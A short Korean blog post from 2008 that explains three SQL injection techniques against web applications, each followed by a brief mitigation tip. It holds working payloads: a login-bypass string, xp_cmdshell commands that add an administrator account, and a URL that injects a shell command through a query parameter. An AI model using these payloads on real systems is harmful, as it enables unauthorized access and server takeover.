2008. 6. 2. 12:41

SQL Injection 공격 사례.

SQL Injection 공격 사례.
SQL Injection을 이용한 해킹은 시스템의 취약성에 따라 조합해서 이루어 집니다.

1.주로 로그인 창을 이용하는 방법(Authentication Bypass)

아이디와 패스워드를 몰라도 로그인을 할 수 있습니다.

사용자 삽입 이미지

예)
Email ID : ' or '1'=1
Password : ***********



==> 위의 방식은 로그인 창에 특수 문자 (' " & | \ + = ] }) 를 사용 하지 못하게
      소스를 수정하여야 합니다.

2. System 권한을 가진 DB 연동(OS Call)

확장 프로시저를 이용해서 admin 권한을 가진 계정을 생성합니다.

예)
use master
exec master..xp_cmdshell 'net user /add attacker_account'
exec master..xp_cmdshell 'net localgroup administrator /add attacker_account'


==> 해당 프로시져의 drop 하거나 관련 DLL 파일을 삭제하나, sysadmin 권한 계정으로
     DB 연동 되어 있다면 해커는 바로 복구 할 수 있습니다.


3. 웹 브라우져를 위한 공격(Query Manipulation)

예)
http://www.attacker_server.com/admin.asp?no=1 ;EXEC master. dbo.xp_cmdshell’ cmd.exe dir c:




==>웹 브라우져를 통해 직접 쿼리를 발생하여 DB 서버에 악 영향을 주게 됩니다.
     cmd.exe 의 실행권한을 극히 제한 하는것이 좋습니다.